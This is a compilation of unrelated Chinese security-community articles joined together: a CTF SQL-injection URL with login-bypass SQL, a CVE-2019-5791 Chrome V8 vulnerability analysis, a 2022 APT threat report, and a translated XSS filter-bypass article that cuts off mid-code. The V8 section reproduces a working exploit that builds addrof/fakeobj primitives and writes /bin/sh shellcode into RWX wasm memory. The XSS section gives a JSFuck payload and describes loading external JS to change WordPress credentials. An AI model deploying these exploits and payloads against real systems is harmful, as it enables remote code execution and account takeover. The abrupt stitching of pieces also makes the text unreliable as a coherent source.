http://web.jarvisoj.com:32794/index.php?table=test`%20`%20where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
## 万能密码
关于万能密码，网上有很多前辈已经总结过了，这里就不班门弄斧，下面的几个姿势不知道的可以学习下，知道的请略过...
嘿嘿嘿
双引号法：
select * from student2 where name = ''+'' and gender = ''+'';
双等于法：
select * from student2 where name = 'aaa'='' and gender = 'aaa'='';
或者这样的
## \N问题
这里给出两张图，大家就明白了，利用姿势的话各位师傅肯定比我会多...
## 写在后面
文采有限，措辞轻浮，内容浅显，操作生疏，如有任何不对的地方，还望各位师傅指出，以免误人子弟，万分感谢 | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/cplBP5bd2NA9upy9rlyLHw>**
近日，作者研究了chrome
v8的一个漏洞cve-2019-5791，cve的漏洞描述是由于不合适的优化可以导致越界读，但实际上该漏洞是由于在语法树遍历阶段和实际生成字节码阶段对死结点的判定不一致导致的类型混淆，成功利用该漏洞可以导致rce。
### 漏洞环境
漏洞的修复网址是<https://chromium.googlesource.com/v8/v8/+/9439a1d2bba439af0ae98717be28050c801492c1>，这里使用的commit是`2cf6232948c76f888ff638aabb381112582e88ad`。使用如下命令搭建漏洞环境
git reset --hard 2cf6232948c76f888ff638aabb381112582e88ad
gclient sync -f
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
### 漏洞分析
#### ast visitor
首先看一下漏洞修复的描述:
[ast] Always visit all AST nodes, even dead nodes
We'll let the bytecode compiler and optimizing compilers deal with dead code,
rather than the ast visitors. The problem is that the visitors previously
disagreed upon what was dead. That's bad if necessary visitors omit parts of
the code that the bytecode generator will actually visit.
I did consider removing the AST nodes immediately in the parser, but that
adds overhead and actually broke code coverage. Since dead code shouldn't be
shipped to the browser anyway (and we can still omit it later in the bytecode
generator), I opted for keeping the nodes instead.
Change-Id: Ib02fa9031b17556d2e1d46af6648356486f8433d
Reviewed-on: https://chromium-review.googlesource.com/c/1470108
Commit-Queue: Toon Verwaest <[email protected]>
Reviewed-by: Leszek Swirski <[email protected]>
Cr-Commit-Position: refs/heads/master@{#59569}
通过漏洞描述我们大致知道问题出在语法树的遍历阶段，具体点来说就是语法树遍历阶段和字节码生成阶段对死结点的判定不一致。那么现在的问题就是这两个阶段对死结点的判定具体有什么不同，对死结点判定的不一致又会导致什么问题。
在漏洞修复页面查看一下diff的内容看一下修复漏洞改了哪些东西，通过被修改代码的文件名发现只是去掉了语法树遍历阶段的一些代码，加了几行对漏洞分析帮助不大的输出和一个漏洞poc。从这些信息我们可以得到ast
visitor处理语法树死结点跳转位置的代码如下，
template <class Subclass>
void AstTraversalVisitor<Subclass>::VisitStatements(
const ZonePtrList<Statement>* stmts) {
for (int i = 0; i < stmts->length(); ++i) {
Statement* stmt = stmts->at(i);
RECURSE(Visit(stmt));
if (stmt->IsJump()) break;
}
}
bool Statement::IsJump() const {
switch (node_type()) {
#define JUMP_NODE_LIST(V) \
V(Block) \
V(ExpressionStatement) \
V(ContinueStatement) \
V(BreakStatement) \
V(ReturnStatement) \
V(IfStatement)
#define GENERATE_CASE(Node) \
case k##Node: \
return static_cast<const Node*>(this)->IsJump();
JUMP_NODE_LIST(GENERATE_CASE)
#undef GENERATE_CASE
#undef JUMP_NODE_LIST
default:
return false;
}
}
从上边`ast
visitor`中处理语法树statements的代码我们可以得到`stmt->IsJump()`为真时会跳出循环不去处理(使用自定义的RECURSE方法)之后的代码。注意这里`stmt->IsJump()`为真的条件中有一个是`IfStatement`。
我们跟进`ast-traversal-visitor.h`，发现这个文件定义了一个继承自AstVisitor的类`AstTraversalVisitor`，定义了一些处理不同类型语法树结点的操作，而在处理不同类型语法树结点时又使用了RECURSE宏调用相应语法树结点类型的visit方法继续遍历语法树，在遍历节点过程中主要记录语法树深度、检查语法树结点递归时是否栈溢出。
以上是我们可以从漏洞修复得到的信息，但是仅凭这些信息显然没办法了解漏洞的本质。此时我们还需要解决的一个问题是找到v8中真正生成字节码`bytecode-generator`时对死结点处理的代码。
#### bytecode-generator
我对v8的源代码不是很熟悉，找`bytecode-generator`处理语法树死结点的代码我这里用的方法是在patch中`ast-traversal-visitor.h`代码修改的地方（即`bast-traversal-visitor.h:113`）下断点，然后不断栈回溯找到的。最终得到v8生成语法树解析生成字节码的大致过程如下（这里有一个点是v8会把js代码分成`top-level`和`non top-level`部分，普通语句和函数声明是`top-level`，函数定义部分是`non top-level`。）
1.解析top level部分的代码，生成语法树并生成这部分代码的未优化字节码
2.解析non top-level运行到的函数的代码，生成语法树，调用ast visitor和bytecode-generator的代码生成字节码。这里最终生成字节码调用的函数是bytecode-generator.cc BytecodeGenerator::GenerateBytecode
我们跟进最终生成字节码的函数`BytecodeGenerator::GenerateBytecode`，
void BytecodeGenerator::GenerateBytecode(uintptr_t stack_limit) {
......
if (closure_scope()->NeedsContext()) {
// Push a new inner context scope for the function.
BuildNewLocalActivationContext();
ContextScope local_function_context(this, closure_scope());
BuildLocalActivationContextInitialization();
GenerateBytecodeBody();
} else {
GenerateBytecodeBody();
}
// Check that we are not falling off the end.
DCHECK(!builder()->RequiresImplicitReturn());
}
主要是进行了栈溢出检查、范围检查、分配寄存器，然后调用`GenerateBytecodeBody()`真正生成字节码。
void BytecodeGenerator::GenerateBytecodeBody() {
......
// Visit statements in the function body.
VisitStatements(info()->literal()->body());
// Emit an implicit return instruction in case control flow can fall off the
// end of the function without an explicit return being present on all paths.
if (builder()->RequiresImplicitReturn()) {
builder()->LoadUndefined();
BuildReturn();
}
}
在`GenerateBytecodeBody()`中主要是根据语法树结点类型调用相应visit函数处理相应结点，注意这里`VisitStatements(info()->literal()->body())`;调用的是如下代码
void BytecodeGenerator::VisitStatements(
const ZonePtrList<Statement>* statements) {
for (int i = 0; i < statements->length(); i++) {
// Allocate an outer register allocations scope for the statement.
RegisterAllocationScope allocation_scope(this);
Statement* stmt = statements->at(i);
Visit(stmt);
if (builder()->RemainderOfBlockIsDead()) break;
}
}
`BytecodeGenerator::VisitStatements`即实际生成字节码时处理语法树声明类型结点的代码，这里我们发现在实际生成字节码时`builder()->RemainderOfBlockIsDead()`条件为真时会跳出循环不去处理之后的代码。这样我们最开始的问题`ast
visitor`和`bytecode-generator`处理语法树死结点的不同就转化为`builder()->RemainderOfBlockIsDead()`条件为真和`stmt->IsJump()`条件为真时的不同。
我们找到`builder()->RemainderOfBlockIsDead()`的定义,
void BytecodeArrayWriter::UpdateExitSeenInBlock(Bytecode bytecode) {
switch (bytecode) {
case Bytecode::kReturn:
case Bytecode::kThrow:
case Bytecode::kReThrow:
case Bytecode::kAbort:
case Bytecode::kJump:
case Bytecode::kJumpConstant:
case Bytecode::kSuspendGenerator:
exit_seen_in_block_ = true;
break;
default:
break;
}
}
对比`stmt->IsJump()`的定义
bool Statement::IsJump() const {
switch (node_type()) {
#define JUMP_NODE_LIST(V) \
V(Block) \
V(ExpressionStatement) \
V(ContinueStatement) \
V(BreakStatement) \
V(ReturnStatement) \
V(IfStatement)
#define GENERATE_CASE(Node) \
case k##Node: \
return static_cast<const Node*>(this)->IsJump();
JUMP_NODE_LIST(GENERATE_CASE)
#undef GENERATE_CASE
#undef JUMP_NODE_LIST
default:
return false;
}
}
对比可以发现`stmt->IsJump()`为真的条件多了`IfStatement`，也就是说ast
visitor不会处理if死结点之后的代码，而实际生成字节码时会处理到这部分ast
visitor没有检查过的代码。那接下来的问题就是，这么做会导致什么后果呢？
#### 类型混淆的原因
经过调试发现漏洞版本的v8在处理到形如poc中代码的箭头函数时，
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
var asdf = false;
const f =
(v1 = (function g() {
if (asdf) { return; } else { return; }
(function h() {});
})()) => 1;
f();
会调用`bytecode-generator.cc
BytecodeGenerator::AllocateDeferredConstants`，此时栈回溯如下
#0 v8::internal::interpreter::BytecodeGenerator::AllocateDeferredConstants (this=0x564b468658c0, isolate=0x564b467d7e00, script=...) at ../../src/interpreter/bytecode-generator.cc:988
#1 0x00007f0b368acd87 in v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode (this=0x564b468658c0, isolate=0x564b467d7e00, script=...) at ../../src/interpreter/bytecode-generator.cc:964
#2 0x00007f0b368d8177 in v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl (this=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/interpreter/interpreter.cc:214
#3 0x00007f0b362b3a3f in v8::internal::UnoptimizedCompilationJob::FinalizeJob (this=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/compiler.cc:158
#4 0x00007f0b362bcdb4 in v8::internal::(anonymous namespace)::FinalizeUnoptimizedCompilationJob (job=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/compiler.cc:425
#5 0x00007f0b362b65bf in v8::internal::(anonymous namespace)::FinalizeUnoptimizedCode (parse_info=0x7fffd1cf1730, isolate=0x564b467d7e00, shared_info=..., outer_function_job=0x564b46865390, inner_function_jobs=0x7fffd1cf16c0) at ../../src/compiler.cc:594
#6 0x00007f0b362b60c5 in v8::internal::Compiler::Compile (shared_info=..., flag=v8::internal::Compiler::KEEP_EXCEPTION, is_compiled_scope=0x7fffd1cf1b58) at ../../src/compiler.cc:1182
#7 0x00007f0b362b68b6 in v8::internal::Compiler::Compile (function=..., flag=v8::internal::Compiler::KEEP_EXCEPTION, is_compiled_scope=0x7fffd1cf1b58) at ../../src/compiler.cc:1212
#8 0x00007f0b36b905c4 in v8::internal::__RT_impl_Runtime_CompileLazy (args=..., isolate=0x564b467d7e00) at ../../src/runtime/runtime-compiler.cc:40
#9 0x00007f0b36b901e2 in v8::internal::Runtime_CompileLazy (args_length=1, args_object=0x7fffd1cf1c28, isolate=0x564b467d7e00) at ../../src/runtime/runtime-compiler.cc:22
#10 0x00007f0b372e3132 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit () from /home/r00t/v8/out.gn/x64.debug/./libv8.so
#11 0x00007f0b36f64761 in Builtins_CompileLazy () from /home/r00t/v8/out.gn/x64.debug/./libv8.so
#12 0x00007f0b36f486c0 in Builtins_ArgumentsAdaptorTrampoline () from /home/r00t/v8/out.gn/x64.debug/./libv8.so
#13 0x00003d48921004d1 in ?? ()
#14 0x00003ea80bf81521 in ?? ()
#15 0x0000000000000000 in ?? ()
跟进`BytecodeGenerator::AllocateDeferredConstants`，
void BytecodeGenerator::AllocateDeferredConstants(Isolate* isolate,
Handle<Script> script) {
......
// Build array literal constant elements
for (std::pair<ArrayLiteral*, size_t> literal : array_literals_) {
ArrayLiteral* array_literal = literal.first;
Handle<ArrayBoilerplateDescription> constant_elements =
array_literal->GetOrBuildBoilerplateDescription(isolate);
builder()->SetDeferredConstantPoolEntry(literal.second, constant_elements);
}
......
}
`BytecodeGenerator::AllocateDeferredConstants`主要调用对应的方法处理语法树不同类型节点并将当前语法树结点偏移`literal.second`的元素视为下一个要处理的当前结点类型入口即视为与当前结点类型一致，例如在构造array对象常量时，会调用`SetDeferredConstantPoolEntry`设置`literal.second为`当前数组的下一个入口点，即偏移`literal.second`的位置视为数组类型，这里`literal.second`为一个索引值。
pwndbg> p literal
$4 = {
first = 0x55f4e2734868,
second = 2
}
由于ast visitor没有检查if死结点之后代码的数据类型，而`bytecode-generator`在实际生成字节码时会把语法树当前结点偏移literal.second的位置视为当前节点类型从而最终导致类型混淆。
如poc中的代码在执行到`compiler.cc :961 maybe_existing =
script->FindSharedFunctionInfo(isolate,
literal)`时，此时literal的内容已经是非法的object对象，debug编译的v8类型检查错误导致崩溃。
pwndbg> p literal
$2 = (v8::internal::FunctionLiteral *) 0x55f5e5bbad88
pwndbg> x/10xg 0x55f5e5bbad88
0x55f5e5bbad88: 0x002000e60000010b 0x0000000000000000
0x55f5e5bbad98: 0x0000010b00000000 0x0000000400000000
0x55f5e5bbada8: 0x000055f5e5bbade0 0x000055f5e5bbab00
0x55f5e5bbadb8: 0x0000000000000000 0x0000000000000000
0x55f5e5bbadc8: 0x000055f5e5bba048 0x0000000000000000
#### patch分析
我们回过头来看patch修改的内容，去掉了ast
visitor中对代码块跳转的判断，即不论当前代码块是否会跳转依旧处理之后的代码，这样虽然可能会多遍历检查一部分语法树结点，但确实是修复了这个漏洞。
diff --git a/src/ast/ast-traversal-visitor.h b/src/ast/ast-traversal-visitor.h
index ac5f8f2f6..b4836ff 100644
--- a/src/ast/ast-traversal-visitor.h
+++ b/src/ast/ast-traversal-visitor.h
@@ -116,7 +116,6 @@
for (int i = 0; i < stmts->length(); ++i) {
Statement* stmt = stmts->at(i);
RECURSE(Visit(stmt));
- if (stmt->IsJump()) break;
}
}
diff --git a/src/ast/ast.cc b/src/ast/ast.cc
index d47300a..c5b122c 100644
--- a/src/ast/ast.cc
+++ b/src/ast/ast.cc
@@ -151,26 +151,6 @@
return IsFunctionLiteral() && IsAccessorFunction(AsFunctionLiteral()->kind());
}
-bool Statement::IsJump() const {
- switch (node_type()) {
-#define JUMP_NODE_LIST(V) \
- V(Block) \
- V(ExpressionStatement) \
- V(ContinueStatement) \
- V(BreakStatement) \
- V(ReturnStatement) \
- V(IfStatement)
-#define GENERATE_CASE(Node) \
- case k##Node: \
- return static_cast<const Node*>(this)->IsJump();
- JUMP_NODE_LIST(GENERATE_CASE)
-#undef GENERATE_CASE
-#undef JUMP_NODE_LIST
- default:
- return false;
- }
-}
-
### 漏洞利用
cve-2019-5791网上只有一个公开的韩国人写的不稳定exp，成功率大概在40%左右，exp地址：<https://github.com/cosdong7/chromium-v8-exploit>。作者水平有限没有构造出比较稳定的exp，下面介绍这个exp的思路。
因为我们利用cve-2019-5791最终要达到的目的还是任意地址读写，所以要做的就是利用if死结点之后代码的类型混淆构造一个可控的array
buffer对象，有了可控的array buffer利用写wasm执行shellcode即可。
callFn = function(code) {
try {
code();
} catch (e) {
console.log(e);
}
}
let proxy = new Proxy({}, {});
function run(prop, ...args) {
let handler = {};
const proxy = new Proxy(function() {}, handler);
handler[prop] = (({
v1 = ((v2 = (function() {
var v3 = 0;
var callFn = 0;
if (asdf) {
return;
} else {
return;
}
(function() {
v3();
});
(function() {
callFn = "\u0041".repeat(1024 * 32); // mutate "run"
v3 = [1.1, 2.2, 3.3]; // now "proxy" becomes a packed array.
v4 = [{}].slice();
v5 = [4.4];
})
})) => (1))()
}, ...args) => (1));
Reflect[prop](proxy, ...args);
}
callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));
function test() {
let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(d) {
let val = d2u(d);
return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16));
}
let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05];
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
run[18] = 0x41414141;
if(proxy.length == 0x41414141){
print("exploit success!\n");
}
else{
print("exploit fail TT\n");
}
let addrof = function(obj) {
v4[0] = obj;
var leak = proxy[26];
return leak;
}
let fakeobj = function(addr) {
proxy[26] = addr;
var obj = v4[0];
return obj;
}
let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);
print("array buffer : " + hex(abAddr));
let wasmObj = addrof(f) - u2d(0x108, 0);
doubleMap = proxy[34];
var fake = [
doubleMap, 0,
wasmObj, u2d(0, 0x8)
].slice();
var fakeAddr = addrof(fake) - u2d(0x20, 0);
print("fake_addr : " + hex(fakeAddr));
var target = fakeobj(fakeAddr);
let rwx = target[0];
print("rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;
let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
dv.setUint32(i * 4, shellcode[i]);
}
f();
}
test();
`--print-ast`查看一下exp中生成的语法树
......
[generating bytecode for function: run]
--- AST --- FUNC at 122
. KIND 0
. SUSPEND COUNT 0
. NAME "run"
. PARAMS
. . VAR (0x55f76877bc10) (mode = TEMPORARY, assigned = true) ""
. DECLS
. . VARIABLE (0x55f76877bb18) (mode = LET, assigned = false) "prop"
. . VARIABLE (0x55f76877bbc0) (mode = LET, assigned = false) "args"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at -1
. . . INIT at -1
. . . . VAR PROXY local[0] (0x55f76877bb18) (mode = LET, assigned = false) "prop"
. . . . VAR PROXY parameter[0] (0x55f76877bc10) (mode = TEMPORARY, assigned = true) ""
. . EXPRESSION STATEMENT at -1
. . . INIT at -1
. . . . VAR PROXY local[1] (0x55f76877bbc0) (mode = LET, assigned = false) "args"
. . . . VAR PROXY local[2] (0x55f76877bc40) (mode = TEMPORARY, assigned = true) ""
. BLOCK NOCOMPLETIONS at -1
. . BLOCK NOCOMPLETIONS at -1
. . . EXPRESSION STATEMENT at 156
. . . . INIT at 156
. . . . . VAR PROXY local[3] (0x55f76877bf40) (mode = LET, assigned = false) "handler"
. . . . . OBJ LITERAL at 156
. . BLOCK NOCOMPLETIONS at -1
. . . EXPRESSION STATEMENT at 176
. . . . INIT at 176
. . . . . VAR PROXY local[4] (0x55f76877c100) (mode = CONST, assigned = false) "proxy"
. . . . . CALL NEW at 176
. . . . . . VAR PROXY unallocated (0x55f7687838b8) (mode = DYNAMIC_GLOBAL, assigned = false) "Proxy"
. . . . . . FUNC LITERAL at 186
. . . . . . . NAME
. . . . . . . INFERRED NAME
. . . . . . VAR PROXY local[3] (0x55f76877bf40) (mode = LET, assigned = false) "handler"
.......
[generating bytecode for function: v1.v2]
--- AST --- FUNC at 373
. KIND 0
. SUSPEND COUNT 0
. NAME ""
. INFERRED NAME "v1.v2"
. EXPRESSION STATEMENT at 393
. . ASSIGN at 400
. . . VAR PROXY context[5] (0x55f768781158) (mode = VAR, assigned = true) "callFn" 0x55f7687838b8
. . . CALL
. . . . PROPERTY at 411
. . . . . LITERAL "A"
. . . . . NAME repeat
. . . . LITERAL 32768
. EXPRESSION STATEMENT at 434
. . ASSIGN at 437
. . . VAR PROXY context[4] (0x55f768781070) (mode = VAR, assigned = true) "v3"
. . . ARRAY LITERAL at 439
. . . . VALUES at 439
. . . . . LITERAL 1
. . . . . LITERAL 2
. . . . . LITERAL 3
. . . . . LITERAL 4
. . . . . LITERAL 5
. . . . . LITERAL 6
注意到run中proxy对象的地址是`0x55f76877c100`，v1.v2中callFn的地址是`0x55f7687838b8`，callFn中的元素会覆盖到proxy的位置导致proxy和run类型混淆成array。在run成功被混淆成array类型时我们可以通过run修改proxy的长度得到一个可以越界访问的数组proxy，再通过数组的越界读写利用写wasm执行shellcode即可。这里exp不稳定的原因是run不一定会从jsfunction类型被稳定类型混淆成array类型，导致不一定会得到稳定越界访问的数组proxy。
### 总结
通过以上分析发现cve-2019-5791这个漏洞根源还是v8在开发时模块之间耦合出现的问题，而为了减少模块之间数据和操作的耦合度，又不得不加入一些模块去分开处理数据和操作。模块之间耦合时可能存在处理不一致导致安全隐患，这可能为我们挖掘漏洞提供了新的思路。
* * * | 社区文章 |
# 2022年全球高级持续性威胁（APT）研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**2022年高级持续性威胁概** **览**
在经历了新冠肺炎疫情肆虐，当今世界正处在大发展大变革时期。俄乌冲突爆发、全球经济衰退加之国际间各种力量的较量，使得国际局势日益错综复杂。2022年全球高级持续性威胁（APT）形势依然严峻。全年全球网络安全厂商公开发布的APT报告累计742篇，报告中披露的攻击活动涉及APT组织141个，其中首次披露的APT组织54个，均比2021年明显增加。全球范围内APT攻击活动依然紧跟政治、经济等时事热点，攻击目标集中分布于政府、国防军工、教育、金融等行业领域。
依托自身“看见”的能力，360已累计发现了51个境外APT组织，监测到5800多起针对中国的网络渗透攻击。2022年，360高级威胁研究院捕获到境外新组织：APT-C-63（沙鹰），另外在全球范围内率先监测到APT-C-06（DarkHotel）组织利用Firefox浏览器的2个在野0day漏洞（CVE-2022-26485、CVE-2022-26486）针对特定目标进行水坑攻击。这也是2022年国内唯一一家捕获APT攻击活动中利用0day漏洞的安全厂商。2022年全球APT组织利用0day漏洞展开攻击活动的增长趋势放缓，但仍处高位。
2022年2月24日俄乌冲突爆发，成为全球关注的焦点。俄乌冲突期间，与俄乌冲突相关的APT攻击、大规模DDoS攻击、黑客组织网络攻击、网络信息舆论对抗等一系列网络攻击和对抗活动，将网络空间战争形态展现在了世人面前。网络空间已经成为俄乌间冲突对抗的重要战场，在军事冲突之外产生着愈发深刻的影响。
2022年是我国“十四五”规划的第二年，在全面建设社会主义现代化国家新征程中，一批5G、工业互联网等新基建项目扎实推进，为数字经济发展开拓新空间、增添新动能。新基建的背后是产业、经济、政府、社会的全面数字化，而数字化安全将成为发展数字经济、建设数字中国的底座，成为新基建的安全基建。
通过2022年全球高级持续性威胁态势分析看，我国数字化转型和自主可控领域的发展面临更加严峻和复杂的网络威胁形势。需要网络安全从业者保持网络空间常态实战化的状态应对网络空间的攻防对抗，不断提升我国网络安全和数据安全保护能力，保障国家网络空间安全。
**2022年APT攻击态势总结**
* APT攻击利用0day漏洞的攻击活动增长势头放缓，但仍处高位。2022年APT组织在0day漏洞的利用上呈现出利用0day漏洞修复不全或者0day漏洞变种发起攻击的趋势，同时需要关注APT和网络犯罪组织利用Log4j2漏洞展开的网络攻击。
* APT组织针对移动平台私有化武器趋势显露，2022年，针对iOS平台的攻击活动保持活跃。
* 2022年，APT组织针对我国重点行业领域的攻击活动仍旧保持较高热度，360高级威胁研究院监测到，2022年针对中国发起的攻击活动共涉及14个APT组织，政府、教育、信息技术、科研和国防军工等15个行业领域依然是APT组织攻击活动主要的目标领域。
* 2022年APT组织涉及挖矿勒索攻击、窃取加密货币等形式的攻击活动持续被披露，呈现不断上升的趋势。APT组织展开勒索攻击或窃取加密货币攻击活动的真实意图，既存在本身以牟利为目的，也包含利用勒索加密攻击做真实攻击目的掩护。
**关键威胁形势分析**
* 2022年俄乌冲突期间，APT攻击急剧增加，地缘归属东欧的APT组织异常活跃，网络攻击活动也不断上演。与此同时，APT组织利用正在进行的俄乌冲突话题作为诱饵展开的定向攻击活动不断被披露。
* 面对传统网络安全强国在网络安全领域常态化的攻击渗透这一实际威胁，需保持网络空间常态化战时状态思维，应对网络间的攻防对抗，来保障国家网络空间安全。
* 国与国之间的网络对抗愈演愈烈，成为了国家间对抗的重要形式。一系列网络犯罪组织逐渐将以往的“技术对抗”不断扩展到“舆论对抗”、“舆论造势”。
* 在2022年APT组织针对我国展开的攻击活动目标中，包含我国国产化操作系统和自主软件供应商，显示出了攻击活动瞄准我国自主可控领域发展的趋势。
* 在数字化转型进程中，网络安全威胁风险日益凸显，数字化转型面临更加复杂多样的网络威胁，网络威胁或将超越传统安全威胁，成为数字时代最大的威胁。 | 社区文章 |
# 看我如何绕过类似PRO这样的XSS过滤器（XSS高级方法）
##### 译文声明
本文是翻译文章，文章原作者 Master_SEC，文章来源：medium.com
原文地址：<https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce>
译文仅供参考，具体内容表达以及含义原文为准。
JavaScript代码中如果存在代码注入漏洞的话，那确实是一个令人头疼的问题…
由于这个项目并不是我们为企业环境做的渗透测试项目，因此我们可以直接将技术细节公布给大家。
简而言之，我们在某网站上发现了一个安全漏洞，经过一段时间的代码分析之后，我们成功发现了一个存在XSS漏洞的节点：
`http://website.com/dir/subdir`
``在该节点的JavaScript代码中，有如下代码：
`function("/DIR/SUBDIR",params);`
使用Burp
Suite扫描之后，我们发现在URL结尾添加“-`alert(1)-”（http://website.com/dir/subdir/”-alert(1)-”）将能够反射XSS，浏览器会告诉我们“unable
to find function ALERT(1)”：`
那么接下来，我们需要测试服务器到底过滤掉了什么，比如说是“</script>”、“//”、“”还是“.”。
## 寻找可用的Payload
我们也寻找到了一些解决方案，而且都跟jsfuck.com有关。
当然了，在这个站点我们也可以执行一次“alert(1)”，但这只是低危的XSS，我们想要将该漏洞提升为高危或严重漏洞。为了实现这个目标，我们将需要加载一个外部JS文件，并且能够在不需要任何用户交互的情况下执行任意Web行为。
下图显示的是一个WordPress Payload，我们的目标是在目标网站中加载要一个外部JS文件，并修改账号密码以及邮箱：
制作JsFuck Payload，在JsFuck代码中，简单地“alert(1)”会被转换为：
`"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"`
如果我想要实现“alert(document.cookie)”，那么整个JsFuck代码估计要到13000多个字符了。我发现，只要字符超过2500-2700个之后，目标站点的服务器就会返回“错误400”。
接下来，我们研究一下JsFuck的工作机制：
`const SIMPLE = {
'false': '![]',
'true': '!0',
'undefined': '0[0]',
'NaN': '+[!0]',
'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"
};
const CONSTRUCTORS = {
